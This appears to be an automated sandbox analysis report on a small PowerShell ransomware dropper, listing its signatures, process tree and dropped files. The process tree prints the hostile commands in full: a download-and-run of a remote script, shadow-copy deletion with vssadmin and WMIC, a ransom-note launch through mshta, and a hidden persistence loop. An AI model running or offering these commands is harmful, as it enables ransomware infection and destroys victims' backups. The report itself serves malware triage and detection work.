Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/08/2026, 14:40

General

  • Target
    file01.ps1
  • Size 226B
  • Sample260823-r2dkfsswat
  • SHA256 19ead3ae2123d5208f3c8cbccdad1fc23ed18509af27228d41cdc8af30c66cfd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://easyfiles.cc/2026/8/27e33abe-ebbd-4f73-b0d9-cef4d10d7823/negy.ps1

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Disables Task Manager via registry modification
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('https://easyfiles.cc/2026/8/27e33abe-ebbd-4f73-b0d9-cef4d10d7823/negy.ps1', 'C:\Users\Admin\AppData\Local\Temp\negy.ps1'); & 'C:\Users\Admin\AppData\Local\Temp\negy.ps1'"
      2⤵
      • Modifies WinLogon for persistence
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4784
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3A50.tmp" "c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\CSC18A65EFC85A74225B3EFD3C8B539F954.TMP"
          4⤵
            PID:4512
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3724
        • C:\Windows\system32\vssadmin.exe
          "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1428
        • C:\Windows\System32\Wbem\WMIC.exe
          "C:\Windows\System32\Wbem\WMIC.exe" shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:5756
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\\darkside_lock.html"
          3⤵
            PID:3464
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
          PID:4528
        • C:\Windows\system32\userinit.exe
          C:\Windows\system32\userinit.exe
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:4204
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "while($true){Start-Sleep -Seconds 1}"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            PID:3008

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 0be6d2b42374447bc9d2fc32f7b7341dee8e35a07dd879deb04152fac4be8b82
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 a3bbb5e7a3d17af871c416ea22c6d963a5b9427d12eeeb2db7ba33bb841eabee
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 2KB
              • SHA256 38aa7ecbe7426c797e12fda69fe1ba838b8e88cb37785445fe7651ad203f08d9
              • MD5 SHA1 SHA512 TLSH

              5cz1vjhy.dll

              • Path C:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.dll
              • Size 3KB
              • SHA256 5b1290963666914e3a9639da3de2c81b9c48d07369c08409b0f506d0c0ae2b7f
              • MD5 SHA1 SHA512 TLSH

              RES3A50.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES3A50.tmp
              • Size 1KB
              • SHA256 4c82d0238d8bc293dcde168757e877b573467432364cab6d1ec633214b6dec28
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_dk1d4vzz.bv0.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dk1d4vzz.bv0.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              darkside_lock.html

              • Path C:\Users\Admin\AppData\Local\Temp\darkside_lock.html
              • Size 4KB
              • SHA256 1b98f0ed58802539e589ec6bfa07273a1d237113a99910617c3358ed16319632
              • MD5 SHA1 SHA512 SSDEEP TLSH

              5cz1vjhy.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.0.cs
              • Size 170B
              • SHA256 55bb19b58f1e8cc33b461847e8079a910251e4e66e4ec6a22f4ec2bc1b308408
              • MD5 SHA1 SHA512 TLSH

              5cz1vjhy.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.cmdline
              • Size 369B
              • SHA256 20d4b7162c5491eb44cabf2a9e3a7722a85f14e88140c092240cabdc8c4892e0
              • MD5 SHA1 SHA512 TLSH

              CSC18A65EFC85A74225B3EFD3C8B539F954.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\CSC18A65EFC85A74225B3EFD3C8B539F954.TMP
              • Size 652B
              • SHA256 5e398e9143ffd20fd63c776695e82d1ce84b7d816395b3c540c12eb73953f01f
              • MD5 SHA1 SHA512 TLSH

              memory/4136-7-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-21-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-18-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-10-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-0-0x00007FFFF8E1F000-0x00007FFFF8E20000-memory.dmp

              memory/4136-92-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-6-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-87-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-5-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-1-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4136-4-0x00000275EBAD0000-0x00000275EBAF2000-memory.dmp

              memory/4784-37-0x0000018B3CA80000-0x0000018B3CA9E000-memory.dmp

              memory/4784-52-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-39-0x0000018B3CA70000-0x0000018B3CA7A000-memory.dmp

              memory/4784-40-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-41-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-42-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-43-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-44-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-45-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-46-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-47-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-38-0x0000018B3CAA0000-0x0000018B3CB52000-memory.dmp

              memory/4784-58-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-74-0x0000018B3D580000-0x0000018B3D742000-memory.dmp

              memory/4784-75-0x0000018B3DC80000-0x0000018B3E1A8000-memory.dmp

              memory/4784-34-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-31-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-86-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-30-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-88-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

              memory/4784-29-0x0000018B3CF70000-0x0000018B3D17A000-memory.dmp

              memory/4784-28-0x0000018B3CBE0000-0x0000018B3CD56000-memory.dmp

              memory/4784-27-0x0000018B3C700000-0x0000018B3C708000-memory.dmp

              memory/4784-95-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp